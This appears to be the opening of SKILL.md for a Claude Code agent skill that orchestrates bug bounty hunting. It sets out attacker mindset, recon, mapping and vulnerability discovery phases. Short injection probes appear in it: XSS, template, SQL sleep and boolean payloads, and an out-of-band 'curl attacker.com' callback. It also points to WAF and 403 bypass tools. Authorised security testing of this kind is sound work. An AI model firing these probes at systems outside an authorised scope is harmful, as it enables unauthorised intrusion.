shuvonsec/claude-bug-bounty/bb-methodology
Claude Code and agent skill by shuvonsec/claude-bug-bounty
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Use at the START of any bug bounty hunting session, when switching targets, or when feeling lost about what to do next. Master orchestrator that combines the 5-phase non-linear hunting workflow with the critical thinking framework (developer psychology, anomaly detection, What-If experiments). Routes to all other skills based on current hunting phase. Also use when asking "what should I do next" or "where am I in the process."
Install
npx vskill@latest install shuvonsec/claude-bug-bounty/bb-methodologySKILL.md
Bug Bounty Methodology: Workflow + Mindset
Master orchestrator for hunting sessions. Combines the 5-phase non-linear workflow with the critical thinking framework that separates top 1% hunters from the rest.
PART 1: MINDSET (How to Think)
Core Principle
Hunting is not "find a bug" -- it is "prove an attack scenario." Think like an attacker with a specific goal, not a scanner looking for patterns.
Daily Discipline: Define, Select, Execute
Before touching any tool:
- Define: "Today I target [feature/domain] to achieve [CIA impact]"
- Select: Choose 1-2 vuln classes (IDOR, Race Condition, etc.)
- Execute: Focus ONLY on selected techniques. No wandering.
5 Ultimate Goals (Pick One Per Session)
- Confidentiality -- steal data the attacker shouldn't see
- Integrity -- modify data the attacker shouldn't change
- Availability -- disrupt service (app-level DoS only)
- Account Takeover -- control another user's account
- RCE -- execute commands on the server
4 Thinking Domains
1. Critical Thinking (deep analysis)
Question trust boundaries:
- Frontend control disabled? Send request directly via proxy
user_role=usercookie? Change toadminprice=1000in POST? Change to1<script>blocked? Try<img onerror=...>
Reverse-engineer developer psychology:
- Feature A has auth checks -> Similar feature B (newly added) probably doesn't
- Complex flows (coupon + points + refund) -> Edge cases have bugs
/api/v2/userexists -> Does/api/v1/userstill work with weaker auth?
What-If experiments:
- Skip checkout -> hit
/checkout/successdirectly - Skip 2FA -> navigate to
/dashboard - Send coupon request 10x simultaneously -> Race condition?
- Replace
guid=f8a2...withid=100on sibling endpoint -> IDOR?
2. Multi-Perspective (multiple angles)
| Perspective | What to check | |
|---|---|---|
| Horizontal (same role) | User A's token + User B's ID -> IDOR | |
| Vertical (different role) | Regular user -> /admin/deleteUser | |
| Data flow (proxy view) | Hidden params in JSON: debug=false, discount_rate | |
| Time/State | Race conditions, post-delete session reuse | |
| Client environment | Mobile UA -> legacy API with weaker auth | |
| Business impact | "What's the $ damage if this breaks?" |
3. Tactical Thinking (pattern detection)
- Naming anomaly:
userIdeverywhere but suddenlyuser_id-> different dev, weaker security - Error diff: Same 403 but different JSON structure -> different backend systems
- 200 but wrong body length/content:
200 OKwith tiny response or "just a moment" text → WAF soft block, not a real response. Runbypass_403.shto confirm and get baseline diff. - Environment diff: Prod vs Dev/Staging -> debug headers, CSP disabled
- Version diff: JS file before/after update -> new endpoints, removed params
- Supply chain: Check framework/library versions for known CVEs
- Third-party integration: Stripe/Auth0/Intercom -> webhook signature missing?
4. Strategic Thinking (big picture)
- Asymmetry: Defender must patch ALL holes. You only need ONE.
- Intuition engineering: Log why something "feels wrong." Verify later. Update mental DB.
- Unknown management: Can't understand something? Add to "investigate later" list. Just-in-Time Learning.
5. AI-Assisted Thinking (model as a second analyst)
Use AI to expand hypotheses, not to declare verdicts. The model is a fast adversarial planner; the browser, proxy, and live requests are the proof layer.
- Decompose the feature: ask for actors, assets, entry points, state transitions, and trust boundaries.
- Generate sibling paths: versioned endpoints, mobile routes, legacy APIs, alternate roles, and admin-only variants.
- Build a role matrix: anonymous, user A, user B, stale session, fresh session, admin, service account.
- Ask for dev shortcuts: "Where would a tired developer skip a check or reuse a helper?"
- Ask for chains: "If this bug is real, what bug B and C sit next to it?"
- Turn ideas into requests: every AI suggestion must become a single reproducible HTTP experiment.
- Kill weak signals fast: if AI cannot point to a concrete request, response diff, or cross-account delta, the idea stays as a hypothesis.
High-signal prompts:
- "Given this endpoint and feature, list the 10 most likely trust-boundary mistakes."
- "What sibling endpoints, methods, or roles should I test next?"
- "Which bug class would a rushed implementation likely miss here?"
- "What does the smallest proof request look like?"
- "What would make this become a real report instead of a scanner hit?"
Amateur vs Pro: 7-Phase Comparison
| Phase | Amateur | Pro | |
|---|---|---|---|
| Recon | Main domain only | Shadow IT, dev environments, all assets | |
| Discovery | Look for errors | Look for design contradictions, business logic flaws | |
| Exploit | Give up when blocked | Build filter-bypass payloads | |
| Escalation | Report the phenomenon only | Chain to real harm (session steal, ATO) | |
| Feasibility | Include unrealistic conditions | Minimize attack prerequisites | |
| Reporting | State facts only | Quantify business risk | |
| Retest | Check if old PoC fails | Analyze fix method, find incomplete patches |
Two Approach Routes
- Route A (Feature-based): "This feature is complex" -> deep-dive its input handling -> find vuln
- Route B (Vuln-based): "I want IDOR" -> find endpoints with sequential IDs -> test access control
Anti-Patterns (Stop Doing These)
- Program hopping: Stick with one target minimum 2 weeks / 30 hours
- Tool-only hunting: Automation finds duplicates. Manual testing finds unique bugs.
- Rabbit hole: Max 45 min per parameter. Set a timer. If stuck, sleep on it.
- No goal: "Just looking around" = wasted time. Always Define first.
PART 2: WORKFLOW (What to Do)
The 5-Phase Non-Linear Flow
THIS IS NOT LINEAR. Move freely between phases. When stuck, return to a previous phase.
Phase 0: SESSION START (Every Time)
Before touching any tool, answer these:
- Define: "Today I target [feature/domain] to achieve [C/I/A/ATO/RCE]"
- Select: Choose 1-2 vuln classes (IDOR, XSS, SSRF, etc.)
- Execute: Focus ONLY on selected techniques
- Identity: Anonymous or authenticated? If the bugs you're hunting need a
session (IDOR, BOLA, privilege escalation, auth bypass, mass-assignment), load auth once at session start — see docs/auth-sessions.md. Then every downstream tool (httpx, katana, ffuf, nuclei, dalfox, PoC verifiers) sends those headers automatically and audit log entries are stamped with a stable session_id hash.
Route selection -- Wide or Deep?
| Signal | Wide (recon sweep) | Deep (focused testing) | |
|---|---|---|---|
| New program, first day | X | ||
Wildcard scope *.target.com | X | ||
| Main webapp, been here >3 days | X | ||
| Scope update (new domain added) | X | ||
| Found interesting subdomain | X | ||
| Hunting IDOR / BOLA / auth bugs | X (auth-aware) |
Phase 1: RECON
Goal: Maximize attack surface. Find what others missed.
Wide approach (initial sweep):
Deep approach (targeted):
| What you find | Next action | |
|---|---|---|
| Live subdomains with tech stack | Phase 2 (Mapping) | |
| Known software (WordPress, Jira) | Check CVEs + defaults immediately | |
| Cloud resources (S3, Firebase) | Test permissions (read/write/list) | |
| 403 or 200 + block page on endpoint | bughunter/tools/bypass_403.sh <url> auto-detects soft blocks (200+block-body). Verdict: bypassed/needs_review/blocked. If all blocked after 5 min, skip | |
| Nothing after 5 min on a host | Skip, try next host (5-minute rule) |
Command: /recon target.com
After every recon (mandatory):
(hunt.py runs ingest + EOL automatically unless --skip-leads.)
Phase 2: MAPPING & ANALYSIS
Goal: Understand the app like its developer does.
Checklist:
- [ ] Map all endpoints (Burp/Caido sitemap + JS analysis)
- [ ] Identify auth model (cookie, JWT, OAuth, SAML?)
- [ ] Find business-critical flows (payment, registration, password reset, data export)
- [ ] Download and analyze JS files for hidden routes, secrets, logic
- [ ] Identify roles and permissions (user, admin, API keys)
- [ ] Note "weird" behaviors (anomalies in naming, errors, timing)
| What you find | Next action | |
|---|---|---|
| JS files with interesting code | Taint analysis (Sink -> Source) | |
| OAuth/SAML authentication | OAuth/SAML checklist | |
| API with ID parameters | Phase 3, target IDOR | |
| Complex business logic (payment, coupon) | Phase 3, target BizLogic | |
| postMessage listeners | DOM analysis, postMessage-tracker |
Phase 3: VULNERABILITY DISCOVERY
Goal: Find the bug. Use Error-based first, then Blind-based.
Decision flow based on what you're testing:
Error vs Blind decision:
- Try Error-based first (send
',",{{7*7}},${7*7}) -- watch for 500 errors, stack traces - No error? Time-based (
SLEEP(10),; sleep 10;) -- watch response time - No time diff? OOB (
curl attacker.com, interactsh) -- watch for DNS callback - Still nothing? Boolean (
AND 1=1vsAND 1=0) -- watch content-length diff
| What you find | Next action | |
|---|---|---|
| Low-impact behavior (redirect, self-XSS, cookie injection) | Chain it -- find a connector gadget | |
| Confirmed vuln (XSS, IDOR, SQLi) | Phase 4 (Prove and Escalate) | |
| Blocked by WAF/CSP/403 or soft-block 200 | /bypass-403 <url> → check verdict (not just status) → bughunter/tools/waf_encoder.py "<payload>" → if upload: bughunter/tools/multipart_mutator.py → 5 min, kill | |
| Known software vuln (CVE) | 1-day speed workflow | |
| Nothing after 20 min on this endpoint | Rotate (20-minute rule) |
Phase 4: PROVE & ESCALATE
Goal: Prove maximum business impact. Turn Low into Critical.
This is the start of the file. Read the full SKILL.md on GitHub.
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Source
- SKILL.md in the repositoryCheckingskills/bb-methodology/SKILL.md
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